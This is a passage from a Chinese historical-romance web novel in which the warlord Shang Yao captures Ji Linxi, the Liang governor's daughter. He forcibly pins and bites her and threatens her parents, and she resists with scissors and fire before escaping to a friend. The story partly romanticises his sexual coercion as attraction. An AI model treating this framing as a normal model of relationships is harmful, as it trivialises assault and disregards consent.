“七岁那年开春,我突生一种古怪疱疮。阿父那时,独自在洛阳述职。”临溪冷静道,“连医士都害怕,唯恐是什么惊天疫病。是母亲和雪宁阿姊,日夜用药擦拭,陪我熬过鬼门关。小三古也整日守在屋外,等我好起来,他大病一场。”
“在我心中,他二人的性命非常重要!是我没有本事,护不住院中人,我认了。”临溪猛地抬高音量,“但他们比你那什么呕心沥血栽培的义子,可要高贵千倍万倍!你当真不知道那是多阴暗卑劣的一个人么?他叫你义父,受你供养托举,却甚至见不得我家幸福完满。一旦你把凉州交给他,他目的达成,安知此人不会谋害背弃?连他的尸身,我都恨不能碎尸万段,都不屑喂给野狗吃——”
“临溪!”
姬昱喝她,手掌举高。
临溪满眼愕然,然那手臂甫一抬起,已被另一只骨节分明遒劲的大手握住腕骨,向后一丢。
“使君慎重。”
商曜原本站在三丈开外,袖手旁观。这一刻望着临溪泪流脸颊,面上倒浮现一种似笑非笑的神情:“不好在我这里打女儿的。”
其实姬昱哪里会打,只是不知为何,听到最后几句,一瞬间就有些怒失心神。见临溪泪如泉涌,立时懊悔:“翩翩……”
临溪已经跺一跺脚,转身带人冲进后院。
找到雪宁阿姊生前所绣香缨和团圆扇,和她最喜欢的一对耳珰,出门时望见屋舍里还有未开食的栗子果囊,一并抱走。
又取了三古的新衣裳——姬昱不会记得,大约李芝兰也不记得,三古比她还小,上个月才过十五生辰,临溪偷偷拿零用钱去市集给他买来。
他得之欢天喜地,万分珍爱,预备正旦再穿。不想是再也穿不到了。
临溪紧紧抱着,坐在杜师拉来的一架简易犊车上,擦掉眼泪。
杜师其实得了韩朔同意,可以帮女公子悉心安葬。听见哭声却不好说什么,毕竟归根结底,并州人也不无辜。
女公子只取郭颐性命,已经很分是非。
安葬立牌完毕,临溪独自跪坐,怔怔望着新长出来的坟茔。
取出水囊,从左至右平直倒落,口中轻声:“我杀了他。但其实惟愿诸位——包括他,都不要再托生在乱世了。”
再从右到左倒一遍,慢慢道:“天才英杰群起,人人拼尽全力,却只换到冤冤相报、生死倥偬的天下。有什么意思?我才不要这样活。”
数十丈开外,韩朔默默望着主公凝视神情,轻咳一下,小声道:“虽然蛇蝎心肠,倒还有情有义……不算一无是处。”
商曜淡道:“话多。”
韩朔一向摸不准他的心思,猜十次错八次,南辕北辙一次,最多蒙对一次。但这回直觉却格外敏锐,从今日姬昱一抬手,主公就快步上前的身形里。
父亲管教孩儿,那是天经地义。碍着他什么事?
但也不算很不同,无非路过多看一眼,看过就收回视线,要赶回郊外军营,似乎并未留恋。
韩朔侧头再看一看,却见那女公子从土坡往下走时,瘦小身体忽然一晃,眼看就要向前栽倒——
脱口惊呼:“少主公!”
身前那匹比玉逍遥更高大、更壮硕,名为照夜白的汗血马比他出声更快,已经径直掉过头去,向着姬临溪的方位迅疾奔驰。
夕阳之下,边塞风沙席卷,年轻男子的背影魁梧而矫健。一眨眼就到跟前,见她还在勉力控制身体平稳,果断侧身俯腰,直直伸出手去,拦胸将人一把捞起,单手丢进怀里,横抱在马背上。
商曜静望着她的双眸,声音压得极低:“姬临溪。”
这是他第一回叫她的全名,语调低沉,声线平直。
连目光也沉,定定落在她脸上。
临溪却筋疲力竭,最后睁一睁眼睛,随即昏倒在他怀间。
7. 晋阳
临溪再醒来时,榻下是昨日梳妆仆妇在等待。见她苏醒,两眼一喜:“小娘子。”
“我这是……”临溪皱眉,拍拍脑袋。
“在君侯帅帐中。”仆妇伸手扶她,“医士说小娘子一夜未睡,情绪过于激动,以至一时昏厥。不过没有什么大碍,好生修养两日也就是了。”
“多谢。”临溪揉一揉眉心,温和询问,“娘子叫什么?”
“竹娘。”
“多谢竹娘。”临溪顿一顿,“晋阳人士?”
竹娘笑道:“是呢。婢的夫君做菜很得君侯喜欢,如今是伙夫长了。我夫妇二人感情不错,左右婢在晋阳也无事,有时会陪他随军。”
“不大紧要的战事吧。”临溪笑了一笑,“否则哪里跟得上。”
虽然是事实,竹娘不好意思直言,这无异于在说凉州无能。只道:“婢去叫饭。”
“我不饿。”临溪连忙道,“随意捞一碗面即可,不必麻烦了。”
竹娘含笑点头。
她出去稍顷,内室羊毛帐被人从外打起。
商曜换过一身常服,头戴诸侯玉冠。同戎装时不同,分外长身清俊:“醒了。”
“是。”临溪无意识向后一寸,知道是他带回自己,到底不好再挑衅,“我父母在何处?”
“夫人在帐中等你。”姬昱他就不清楚了,应当还在衙署整理戍卒衣物簿。他已经把姑臧所有城门并主街宿卫都换成并州统领,懒得过问。
“那我……”临溪欲下地,“我先回去吧。”
“姬临溪。”
他忽然字正腔圆叫她。
临溪垂下眼,直觉他或许要说出什么话来了:“何事。”
“你跟我回晋阳。”
果然如此。帐中一静。
“跟我回晋阳。”他重复一次,接下去掀一掀眼帘,说的却是,“你就有无数机会杀我。”
临溪忍不住一笑。笑过即觉得不妥,唇角瞬间落下,嗓音泠泠:“在榻上杀?”
商曜微哂:“那不是一种杀法。”
“你——”少女怒目而视。
他望着她,直接道:“你意下如何。”
“天下枭雄,竟个个都喜欢抢人妻么。”临溪一贯牙尖嘴利,“昨日我已经告诉过你,我同荀白将军定过亲了。”
“是么。”商曜走近一步,淡声道,“今日你姑臧城门玄旗都已更换。他久负盛名,却不能现身。”
“你少在这里离间。”临溪不被他带偏,头脑清楚,“先不说你行军迅捷,是有天水安定郡守一路纵容在先,非寻常西征军情。即便他已经知道姑臧告急,你知张掖是什么地方?凉州边境,也是抵御西羌必争之地,总有羌人骚扰边境,绝非说走就能走。再有,就算他抛下一切来救,麾下精骑沿河西道日夜兼程,也要两三日才能赶到。如何能在此时出现?你想骗我,下辈子吧。”
“你问我知不知道张掖是什么地方?”商曜眉目英挺,在烛火里微微一冷,“女公子令人发笑。”
临溪怔了一怔,这才想起冠英侯亦是世代戍守边关起家,不自在别一别脸:“随你说了。何况他来也没有用,荀将军手下不过几千骑兵,说是五千,实则三千多,我父亲不会同意他以卵击石。他向来不参与关中诸侯争霸,一心只防羌胡。于你无碍,你不会找他麻烦。”
她已经看明白了。此人得到姑臧,并没再刻意杀戮任何一人。早前就亲自手书招揽过荀白,更不会轻慢。
商曜口吻有些凉:“未婚夫婿,果然了解。”
“那是自然。”临溪强撑着,对上他眼眸,语句落地铿锵,“我很喜欢他,爱慕他,愿意嫁给他。我不会跟你回晋阳的。”
他回望她,那双黑石眼睛眸光沉沉,像要将人吸进去。静默片刻,唇角微勾:“曜此一生,最喜横刀夺爱。”
“你——”临溪气恼,索性开骂,“滚开!”
帐帷之外,竹娘当头听到这句,不慎打翻陶碗,行面滚落,泥泞一地。
他却快意地笑了,眼睛更亮。一步上前,伸手掐高她下颌的动作堪称熟练,以方便自己,更恣意欣赏这方美丽眉眼:“晋阳广阔天地。”
“只要有你在的地方,”临溪一字一字回,“于我而言,就狭小逼仄。”
咬重语气补充:“永远也不会喜欢的。”
接连被无情拒绝,在这张年轻而英俊的面庞上虽看不出怒色,眉宇却盛气逼人,那双眼睛也越发地深了:“撒谎。”
临溪下颌被生生捏痛,硬是不肯屈服:“什么?”
他冷冷掀唇:“荀白知道自己要跟你成亲么?”
临溪一僵。
“跟我回晋阳。”事不过三,他甩开手,态度愈发强硬,“我不是在让你选。”
姬临溪还是那个姬临溪,原本今夜感念他出手搭救,交谈尚且平和。闻言立刻又像一只被撕破羽翼的雏鸟,发疯扑棱激烈反抗:“我就不,杀了我也不,你待如何?君侯一方豪杰,自诩雄主,难道公然抢一女子?你的名节,我倒是无所谓的,我只偷人,我就一味偷人,偷完凉州男儿我偷胡人,届时生下一儿半女,都不知眼睛是蓝是绿……”
这回不止下颌作痛,双手也被狠狠剪到身后,一记反捆,二人胸口无限靠近。
他垂眸盯她脸庞,咬着音节,沉沉喊她:“姬临溪。”
“喊你姑奶奶作甚!”临溪再痛也不退让,睁大眼睛怒瞪回去,“再不济我就削发明志!别以为这一套对我管用。商长叙,你逼良为妾的故事听多了吧?我告诉你,我敢杀我义兄,就敢杀你,即使永远不能得手,同归于尽我也不在话下。自降临到这个世间,我就不准任何人欺负我!”
不准这两个字,简直像呕出血气。
谁知竟连血腥脾气都对此人毫无效用!商曜稍作停顿,居然只是淡然反问:“你知道我的字?”
临溪一愣,后悔咬住舌根,旋即针锋相对:“是什么不能叫的稀罕名讳?我马上养一只狸奴,就叫长叙。”
“自己像野猫,说别人作甚。”他渐渐也不肯让,却未意识到这是不自觉受她影响,只一味被反唇相讥的念头所制,“我母亲院中狸奴今年生产,最野那只,就叫翩翩了。”
“猫托生在晋阳,真是倒霉死了!”
她是得饶人处越不饶人,怒到极致,死活要发泄到底。趁他微微松开,摆出架势就徒手朝他颈侧劈来。
他抬手格挡,她马上换另一只手狠狠斫过,出腿更狠,勾住膝盖处,重重往地上摔。
他不打女人,
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她却能肆意出招。一时竟真叫她绊倒在榻上。少女温软馨香就在袖间,招招用尽全力迎面而来:“你去死——”
商曜烦了,伸出手两下将她反制,一跃而起,沉重身体压下,以膝骨紧紧抵住她双腿,冷声道:“够了。”
韩朔一点没有说错,这就是个无法无天的女人。
然而这种姿势,只会滋生更为磅礴的暧昧。他双手牢牢摁在她两手腕骨处,按过头顶,垂眸肆意扫荡她的眉宇骨骼,直至凌乱衣襟。
一片柔白风光。
他本可以做得更过分的。
唇角一抬,却偏偏只是将领口拨低一寸,就一寸;露出锁骨,也只露出锁骨。
在她还没有反应过来的时候,再度死死按紧她双腕——
语气轻佻:“这处骨头很乖。”
临溪脑中嗡地一声,气到发疯,抬腿想踹,却一动不能:“我杀了你——”
“换句对白。”他的目光依旧冷,在那冷意尽头,却又分明在灼烧着什么,“姬临溪,你改名。你没有一点同清溪相像的地方。”
“姑奶奶我行不更名坐不改姓。”临溪恶狠狠,“滚开!别逼我今日就杀了你!”
“是么。”他疏疏一笑,眸光依旧凝在她颈项间,忽又落回妍丽眉宇,毫无预兆地——
抬高右腿膝骨,抵在她腿根处,轻轻点了一点。
“知道我想带你回晋阳做什么了吗?”他的膝骨往腿间挪一寸,低声陈诉,“我不喜欢你。但天下人都想要的东西,自然该是我的。”
姬临溪瞪大眼,忽然间就感到,眼前男子原本隐隐绰绰、掩于深处的心绪,陡然变得清晰。
他第一眼见她,分明无动于衷。郭颐送出她,他只厌烦让她走,丝毫未起占有念头;但在她动手杀掉郭颐后,一切就变了。
与美色无关,他拿她当战利品。
他自以为发掘一件极有血性的战利品,于是开始征服属于他的奖赏。
姬临溪身体里忽然迸发出一股前所未有的巨大力量,毫不犹豫反手掐住他的脖颈,翻身而上,尖叫吼道:“我杀了你!”
此人臂力惊人,扯开她双腕时却被她纠缠抱扯,两人谁也不放过谁,最后一道滚落这方矮榻。重新换他压她,胸膛重重覆盖。
双方皆鼻息粗重,心跳可闻。
商曜眼睛一眨不眨,盯着她那因极度悲愤而过分璀璨的一双似杏仁、似月亮、也似杏仁裹在月亮里的眼睛,猛地俯身——
“主公!”
帐外传来韩朔雀跃高呼:“少主公!邬先生快马赶到了!”
听到邬字,他一分神。
临溪反抗数次无果,却至今没有屈服,始终死死盯着他。终于等到机会,用尽最后力气推开他,抬手就是一耳光。
纵使他常年征战,身体反应之迅捷非常人能比,躲得极快,这一掌依旧稳稳落在颈间。是真的用尽身体里残余力量,发出清亮声响,颈项立时泛红。
帐外,韩朔脸上笑容凝固。
邬逊耳朵一动,亦转头询问:“什么声音?”
邬先生一向不支持主公蓄养女子,至少绝不能带在部曲之间。韩朔吞咽口唾,然而也不需要他回答,军帐中又响起一道哭音:“我一定会杀了你!”
8. 亲密
商曜咬在方才肖想的地方,鼻下唯余清甜气息。咬过后就抽身离去,收平衣襟,冷漠扫她一眼:“如果不想替你父母收尸,老实待着。”
丢下命令,头也不回走了。
至帐外,见到邬逊清癯身影,快步上前,语气变得礼敬:“先生。”
三人至另一座军帐内。
“主公。”邬逊抬手,躬身行礼,“贺少主公一统凉州之喜。河西全境皆入我们之手,今后同西域诸国商旅交通,再无半分阻碍。”
“先生请坐。”商曜去扶,温声道,“待我见过荀白,决裁边地事宜,再贺不迟。”
“实不相瞒,我已修书回去了。”邬逊笑道,“老主公和老夫人若知战事如此顺遂,也会放心。臣会尽快将凉州诸事梳理清晰,主公也好早归家看望。如今北地郡亦在我们治下,届时轻骑取道,最快半月可抵晋阳。”
语毕,向帅帐方向看去一眼。
商曜怔了一下,很快回道:“是。吏治繁琐,有劳先生。”
“帐内是谁家女公子?”邬逊依旧含笑,“少主公尚未娶妻,晋阳城内容复杂,此事还需审慎。”
商曜不语,韩朔却是个不长心眼的,欢天喜地答话:“军师放心!绝不是什么来路不明的女子。是凉州刺史姬昱的女儿。”
商曜面无表情。他有些后悔带韩朔来姑臧——但也是预料凉州事易,才选了最不灵光的随军,而将得力郎将暂时留在要地。
“我也是这样猜。”邬逊平静望着商曜,“早前听闻姑臧流有一捧清溪,姿容姝丽,倾国倾城。不想少主公这样好的福气,开进城池当日,已将佳人采撷。”
这话一出,笨如韩朔也觉出不对了,缩缩脖颈。
“先生误解。”他听见少主公答,“实则是郭颐投我——”
“郭颐来投,如何他义妹就到了主公榻上?”邬逊笑容一收,“我不是在意此女如何。那姬昱在洛阳做官时,文采卓然、吐哺握发,不计出身起用寒门郎官,其人品行介然如石,不说并凉二地,在天下读书人间,声名亦是如松如柏。少主公这样欺压他的女儿,叫人知道了,旁人会如何作想?少主公不是答应过我,不再得罪清流文人吗?”
见商曜默然,语气一软:“想要是可以的!略施些手腕,叫他亲手送上来就是。一个女儿罢了,主公发话要,难道姬昱敢不给?何至于这样强迫?动辄打打杀杀的,闹来闹去,像什么样子。”
韩朔又快嘴快舌:“先生,姬使君膝下可是只有这一个孩儿啊。”
商曜乜他一眼。
“哦?”邬逊惊讶扬眉,随即疑惑,“那这是得多美?引你们少主公做出这等不成体统的事。”
毕竟过去十九年来者皆拒,无媵妾、无女婢、无歌姬,什么也没有,从不在这事上叫他操心。转瞬之间习得霸王硬上弓那一套,耐人寻味。
“也、也不是美。”韩朔挠头,“不对,美是很美的。但她最特别之处还是在于野蛮,举止惊悚,像女匹夫……”
邬逊斥责:“人家是使君女。你这说的什么浑话。”
见商曜始终一言不发,那颈间分明还有伤痕。不由得缓了语气:“主公想要此女?”
韩朔偷偷看少主公,后者却继续沉默。
但作为四岁为他开蒙、又亲手教导长大的夫子,邬逊实在太了解他,微微一笑:“总之不要伤人。”
韩朔一愣,暗道这事军师怎么也跟自己抢功:“先生——”
邬逊却已经将这事置之脑后,只又道:“天水和金城有几桩事,还要仲康坐镇拿主意,他未必有空过来,这才催我动身,尽早安排姑臧张掖事务。明日晨起我就去衙署,之后主公若有事,随时吩咐就是。凉州各郡官吏,我也会替主公打点妥当。”仲康是夏弋表字。
“我急寻主公,另有一要事。”邬逊沉吟,“先前金城护羌将军何敞奔逃,你我都以为是他事先撤守关中,然我和仲康近日得知,他就将妻儿原地藏匿在允吾县内。此人极有可能,并未离开凉州。”
凉州各郡,将领情况同中原有所不同。甘凉一带近些年的心腹大患始终是西羌,防御羌人的诸位校尉将军,名义虽有不同,却通常就是一郡驻军军权的持有者。
武威郡的董亓,服从姬昱调令;金城则是何敞,情况就大不相同了。
此人乃是城阳王刘煜妻弟。刘煜又是当今陛下的同胞亲弟,质素手腕,的确尚可。皇帝膝下只一十岁小儿,许多事都倚仗着这个弟弟,是以宠信有加。
商曜一默,颔首道:“他知道我们迟早回晋阳,暗地通信洛阳求援,也可凭借凉州豪强东山再起。”
“正是。”邬逊捋须,“我让卫将军留守金城,也是这个缘故。继续找,全力找,若有何敞消息,即刻捉拿来报。”
“先生很是周全。”商曜示意韩朔,“请先生去安置。舟车劳顿,早些歇息。”
韩朔应是,向他使一个眼色。
邬逊哪有不懂的,无奈摇一摇头。人都到帐外了,还是脚步一顿,回身叮嘱:“罢了。说到底不过一败将之女,主公随心也无妨。但若此女实在性烈,须记不要闹出人命。姬昱清流名声,一定要给几分薄面。”
韩朔吓了一跳。心道哪有这么夸张,少主公连女子葇荑都未曾牵过,怎么就突然到了人命地步?
是那女子实在——他实在不知那些人是怎么传的,只有貌若天仙是真,其余什么娴静淑良、慎静尚宽,半个字不能信!
但他又深深理解。女子美则美矣,没有灵魂也不过一具躯壳,顶着楚楚可怜的脸蛋手起刀落,那就不妙了。
少主公这颗心——拨动一声,万物生长。
韩朔神游天外。主公在战场上斩杀之人不计其数,脚下踩踏男子尸山,那在女子事上自然也需要更——
邬逊已经冷哼:“我瞧他这回失态,就有你推波助澜。待我回晋阳告诉大翁主,看她收不收拾你。”
韩朔是商昀婆母的娘家外甥,只是父母早逝,在族中早无人问津,还盼着大翁主可以代为主持长兄婚事。闻言立时耷拉脑袋,不敢回嘴,讷讷领军师进帐。
商曜甫一回到帅帐内室,下意识就有所戒备。他完全相信,连金丝软枕,此女都能当作捂死人的东西。
但室内一片昏暗寂静,连灯都不点。不由皱一皱眉,取火点燃灯芯,执灯迈向榻边:“在哪里。”
寂静片刻,听见她微弱声响:“把灯灭了。”
他立住脚步,耳力迅速判断出声音方位,快步过去,照亮角落。临溪蹲坐在地,紧紧抱着自己,脸颊深埋于膝弯:“我让你把灯灭了!听不懂人话?”
“你在做什么。”商曜将灯放在一旁,声线依旧疏淡,“被咬一口,自怨自艾至此?”
“你想今晚吗?”
高大身体一僵。
“我知道,无非是为这张脸。”临溪冷冷道,“我杀不了你,更不愿去什么晋阳,还要顾虑你为难我父母。伸头缩头都是这一刀,我就问你,要是不要。”
他却比她更冷然:“少跟我耍心眼。”
“你的军师都说了,”临溪贴着军帐四周厚实毛毡起身,字字用力,“全靠我父亲声名,叫你手下留情,保我一命。也就是只要不玩死,只要你尽兴,怎么都可以,我理解不错吧?”
“谁许你偷听。”商曜不为所动,“再有下次——”
“你先杀了我吗。”临溪猛地伸手,推开那角豆形青铜灯,“商曜,你记着。倘若动我父母家人,休怪我真的跟你拼命。”
他掀唇讥讽:“拼得还少了?”
她多少梗了一下,恨恨道:“随你怎么说。”
自郭颐反叛、凉州巨变以来,她一直强撑着一口气,不许自己恐惧,更不许倒下。局面也的确没有到不可挽回的地步,虽痛失家丁,至少父母无恙,也未起战事,又手刃仇敌。
然今日一遭,听见眼前男子明明白白说出“回晋阳”三个字,心底深处却蔓延出一种更为深刻的惊惧绝望——也是头回意识到,不论过程如何,不论征服抑或情·/·欲,自己终究还是激起他的某种欲念。
看他态度依旧冷硬,怜惜是全然没有,好
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感更遥遥无期,喜爱如天方夜谭,却在相识次日,提出要她一道去晋阳。
若是旁人,她还笃定凭自己聪慧,能够周旋脱身;但短短两日交锋,她几乎没有信心,能够从这个男子手下全身而退。她不知要怎么对付一个软硬不吃、又毫无弱点的人。
她看清楚了,是以忽然疲惫。
下颌又被捏高观赏时,也懒得再反抗。
他这人心思古怪透顶。伸臂提回青铜灯,使烛灯落在二人胸膛之间,一手依旧牢牢掌住她脸颊。
窗棂之下流风四溢,分作一束又一束,无声无息将二人围困。烛光这在风间微微晃动,沿着夜风飘动轨迹,那昏黄温暖灯光便也在她脸上留下脉络,一点一点复映骨骼。
眼前人毫无征兆开口——
“的确美甚。”
声音发沉,是成年男子在独特时分的那种独特低哑。临溪垂下眼眸,扯动唇角。
而后忽然抬手,解他常服交领。
商曜微微停住。
她这也不叫解,一味拨拉扯离罢了。人倒是凑近了,馨香气息扑在颈项里,一边为他宽衣解带,一边讽道:“君侯想要,这美给你。早些腻味,就无需带我回晋阳,皆大欢喜。”
他怔了一下,她已经软软抱上来,面颊埋入他颈间,用从未有过的温柔声线,语气可怜:“罢了,我不同你闹了。你无非喜欢我美,实则我也愿意将这美献给英雄。君侯八尺男儿,虎视鹰扬、渊渟岳峙,符合翩翩期许。”
他明知是美人计,明知必定有鬼——除非在他离开的时间里,有妖物将她夺舍。
身体却像被人点穴般无法自持,竟就抬臂,以掌心接住纤细腰身。
单手抱起,再打横护在胸膛里,一手抵腰,一手穿入少女膝下。
如捧一抔空气,将人轻易抱至齐肩高处,大步向榻上走。
月明星稀。
他以掌心贴她青丝,一言不发俯身下去,重重咬回那处“乖巧骨头”。
这人血性至深,连心生迷恋的部位也这样古怪。
姬临溪配合他,低低哼出一声,反手去摸枕下的交股剪。
他是不可能再给她刀剑傍身了,但竹娘听她温温柔柔说要裁整裂口衣角,连忙就将庖厨多出的一把剪子送过来。
临溪悄悄握住。
他在专心啃咬,似乎无知无觉。
她慢慢呼吸,忍住一阵剧痛——亲要这么疼吗?
商曜忽然退离一寸。借着月光,无声望住女子唇下。
他虽毫无经验,不至于这也不懂。
停顿稍顷,再度俯身——
姬临溪瞄准时机,猛地抬手!
她还是稚嫩,不知世上会有预备亲吻时也高度警惕的男子。腕骨遽然一痛,已被紧紧攥住,他人也灵活避开。
她自然不屈不挠,以手指将剪子胡乱往身上拼命递去一寸,到底听见一声嘶哑。
应当是成功戳刺到哪里了,他猛地掐住她手心,丢开交股剪,随即重重退后一步。
姬临溪不防失去剪具,立刻随机应变,从他身下滚逃至地面。一个箭步爬起来,头也不回往外跑。
路过桌案,果断抬腿,一脚踹翻那座青铜灯架,又迅速脱下已被他撕裂的外袍。
烛芯歪倒滚落而出,瞬间将那平纹稠衣点燃。
临溪原本怕火,这一息克服所有恐惧,伸手攥住尚未起火的衣料边缘,拼尽全力丢向宽榻方向,大声道:“叫你欺负我!烧死你得了!”
隔着火光,只觉那头男子依旧高大沉着,只眉宇晦暗,风雨欲来。
临溪只看一眼,一瞬也不多留,窜逃离开内室。连呼吸都屏住,一路狂奔至帅帐外,解开商曜的照夜白,毫不犹豫翻身而上。
守卫帅帐的兵士反应迅捷,立刻持矛阻拦:“女公子止步!”
对峙片刻,临溪欲夹马腹蛮力冲破,听见身后忽传淡然命令:“让她走。”
心下有一瞬间的怪异之感,却不肯深思。姬临溪高喝一声,座下通体雪白的骏马向外疾驰而去,撕亮夜色。
9. 欺负
韩朔深深低着头,大气不敢出。
案后,青年持剑跽坐,面色沉沉。
“太无法无天了!”韩朔蓦地爆发,捏着剑鞘在帐内一扔,“无法无天!无法无天!无法无天!”
连骂三遍,犹不解气:“主公,我们去把她父母——”
商曜眼风冷冷横他一记。
“太无法无天!”韩朔一张黝黑脸庞都气红了,“这个姬昱怎么教的女儿?天下十三州府,哪家名门会教出来这种女眷?少主公莫再纵容!我这就把人找出来,绑回晋阳给你生孩子去!以此女烈性,不得生出一队商骠姚!”
“你下回说话之前,”商曜终于开口,“能否先长出脑袋。”
韩朔跺脚几步:“主公!”
先是在下颌划破口子——伤人面庞!少主公少时顽皮,老商侯持鞭惩罚,都不舍得打脸。再是放火——还真给她点着了,若非主公反应灵敏迅速扑灭,岂不是要被她烧伤?
“此女真是不识好歹。”韩朔愤愤,“主公待她多好?不许姬使君动手,路过还将她抱回来,头一份的好了。她竟还是不肯驯服!亏她什么了?少主公少年英杰,她一个降将女儿,不知做样子给谁看!欲擒故纵!拙劣!”
“谁家欲擒故纵,”商曜慢声反问,“放火烧人?”
韩朔停步,更生气了:“她竟真想谋杀主公!”
最难得的是,少主公脸上挂一道裂相,能看出伤痕,看不出生气,还不许惊动任何人。
“叫卫将军傅将军岳将军知道,叫随便一个将军知道,非得手撕了她不可!”韩朔犹在龇牙咧嘴,“主公莫要跟她废话了,直接塞进麻袋带走。”
两名亲兵进来回话,已将帅帐清理完毕。
“这种小事,同他们提一个字,我拿你是问。”商曜起身,行至帐前,又微微侧身,语气有些轻飘飘,“天下十三州府,谁敢撕冠英侯夫人?”
韩朔一怔,面上立刻满满不可置信的神色:“少主公!”
他已经扬长而去。
却说临溪这边,生怕身后反悔就来捉拿,铆足劲往姑臧城门疾奔。其实她的马术比并州人以为的要强上许多,且商曜这马更加通灵,挺直背部,沉下脚跟,还算稳当。
不料守城戍卒却不认识她,她也没见过这脸生士兵。他抬起长矛就拦:“来者何人?”
“你们——”临溪一怔,“你是并州营的?”守城门固定十五人换防,她从前都混得很熟。
“是。”士兵肃然,“过所木传交出来。为何夤夜前来?从哪一郡来?”
“我是姬昱姬使君的女儿!闻我姑臧惊变,从苍松县归家来!”临溪咬牙,“你家主公礼遇使君,尔等安敢拦我?”
士兵微微一怔,依旧岿然不动:“如何证明。”
“你认不出这马?”临溪一指照夜白,“这是你家主公的照夜白!若非他授意,我怎么敢?”
士兵执火炬靠近,仔细看了一番,脸上迟疑:“待我回报。”
说着跑回城楼上,找到今夜戍卫都尉,俯耳将来龙去脉转达一遍。
“照夜白?”都尉一惊,主公有几匹大宛骏马交替行军,照夜白是最心爱的,“你没看错?”
“我哪里认得。”士兵无奈回禀,“但此女容貌出众,信誓旦旦,不像说谎。”谁敢拿少主公扯谎?
都尉犹豫片刻,亲自起身:“我去问问。”
三方火炬之下,竟被这方秾丽眉眼惊艳至微微恍惚。回过神来,连忙抬手礼问:“当真是姬使君家女公子?”
“不然我敢叫他姬昱?”临溪抬起下巴,“我父亲字逸衡,年四十又三,母亲李夫人,陇西籍贯。你家主公今日进过姑臧,只不在城中过夜,驻扎在郊外军营。我路过拜访,他同我见面,借我照夜白,允准我去寻我父亲。”
桩桩都对。都尉再看她两眼,瞥见衣襟裹缠,心念一动,侧身道:“女公子请入城。”
见骏马飒沓离去,捋一捋胡须:“少主公这是有事了。”
士兵不解:“什么?”
“狗屁从苍松归家。”他哼一声道,“此女麾下坐骑通体雪白,确是照夜白无误,此马少主公心爱至极。且她容貌姝丽、衣襟凌乱,深夜从主公帅帐离开,你说怎么回事?”
士兵了然,尴尬摸一摸鼻骨。
“这捧溪水确实漂亮。”都尉笑起来,意味深长道,“凉州女子,同我们并州儿郎也算亲近,总比扬州女说话都听不懂好。少主公好福气。”
再回刺史府,姬临溪就不叫姬临溪了。没有三个月,她不会原谅姬昱。
一口气赶至城西穆家武堂,下马拍门。姑臧城比金城要安定,但终归也算边陲重镇,民间不乏各类武塾护院。
通常由退下沙场的武将开办,招收几岁到二十几岁儿郎教习,再组织护卫押运商旅。商人出手阔绰,经营还算不错。久而久之,武堂商行一体,生计就很好过了。
拍到第三轮,穆轻鸿方姗姗来迟,一边开门一边软软问:“谁呀——翩翩?”
“是我。”临溪颓然喘气,“你收留我吧。”
轻鸿四下看一眼,将她扯过院落,一路急急拽进房内:“我今日听说伯父败了,就想去找你。但刺史府守卫森严,戍卒还都是并州口音,就不敢生事。你怎地还能出来?”
点起油灯,见临溪交领乱、发鬓也乱,还没有穿外袍,只一袭深衣在外,不由大惊:“这是怎么了?”
临溪停泊至交家中,终于长长地出了一口气。放松倒在榻上,大张开手:“被狗啃了。”
“翩翩!”穆轻鸿愣愣,“你从哪里来?”
临溪僵直不答,陡然一惊:“你记得把那马放走!不要去喂!它饿了,自己会跑的。”
轻鸿一呆。
“我一时半会不能回家去。”临溪撑起身体,“你也不能同人说我在这里——伯父和轻山兄去跑镖,没有人能保护我们。”
“是。我原本吓死了,好在城中没有出事。”轻鸿坐下,“这趟去上郡,往返要好几个月。我外祖重病,母亲又回在安宁县娘家。你放心住就是。”
“上郡不是并州地盘么。”临溪微怔,“以我姑臧过所,怎么能去?”
“并州郡城近几年不大押限商队了,说是那位新上任的少主公放过话,欢迎天下商贾交通贸易,是以放宽盘查。”轻鸿话音落下,倏地皱眉,“你——你究竟从哪里来?”
临溪双眼蓦地一热。
“无事。”转身埋入枕间,重复,“我无事。”
轻鸿却已经瞥见她锁骨处深红斑驳,密密麻麻。心下明白过来大半,倏地起身:“是谁?”
跳下木床,大步抄起一柄骨刀,委屈道:“是谁?我这就去杀!”
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>忍不住问:“晋阳人吗?”
临溪这才终于觉得委屈,在姬昱面前不能,在李芝兰面前也不能,这才终于敢感到委屈:“轻鸿……”
两人自小结伴学武,由穆家夫人亲手教练。穆轻鸿脸颊圆圆,平时还有些呆,实际本领却比她要强三倍不止,气呼呼挥开骨刀:“我就知道都是骗人!说什么主君更替、不伤生民。衙署里坐着的都换一批人了,一个个持并州口音,讲话听都听不明白,那晋阳人能把我们当人看吗?”
“也不是这样说。”临溪涩声,“我……”
“难为你了。子昂兄战死,想必使君夫妇也落难。”轻鸿握住她手道,“你别怕,你只在我——”
“郭颐战死?”临溪眉心深深拧起,“战死?”
“是啊。”轻鸿不明所以,“使君义子血拼守城,连使君本人也重伤,使君妻女还被俘。人人都说郭子昂英毅秉天……不过看并州兵入城没做什么,一切如常,他们也就不讨论这些了。”
好一个英毅秉天。临溪气得说不出话,胸脯一阵急剧起伏,然而心底尚存一分理智,不愿将轻鸿扯进这件事。
最后一言不发,起身夺过骨刀,狠狠劈向一旁木枰。
轻鸿吓一大跳:“翩翩?”
“无事。”临溪大口喘气,“我无事。”
父亲竟然还在保全他身后名。
她真的有些伤心了。
这件事比今日商曜对她所作所为,还要令她灰心丧气。
郭颐名为姬昱义子,成婚后同妻儿就住在对面宅邸,一街之隔,和她一家是每日都来往。她和这义兄却情分淡漠,自然是有原因的。
如今她知道了,郭颐一直就不喜欢她,甚至称得上嫉恨;其实她也一样。
她十二三岁就开始察觉,姬昱同这个义兄之间,有一种她永远也跨不过去的默契和期许,即使她才是父亲亲生的孩子。
即使她也用功读书、习武、弹琴,即使她从没有忤逆背叛过父母哪怕一回,他们依旧只是希冀,她能够凭借美貌,成功再往上嫁——若非中原皇室衰颓,大约三公夫人、后宫嫔妃一类。
临溪眨眨眼睛,迅速逼退水雾。若无其事抬头,绽开笑容道:“可有吃食?我大半天没有用过饭。”
“有。”轻鸿点头,“有粟米饭和葵菜羹,我去给你热一热。”
“我同你一道。”临溪跳下榻,挽她出去。
进到庖厨生火,并肩站在陶灶前。临溪以一柄长陶魁去舀取釜甑里的葵菜汤,掀开盖来,热气蓦地蒸腾扑到眼前。
轻鸿弯腰取碗,临溪忽放下陶魁,嚎啕大哭。
轻鸿慌忙起身,抬手来擦:“翩翩?”
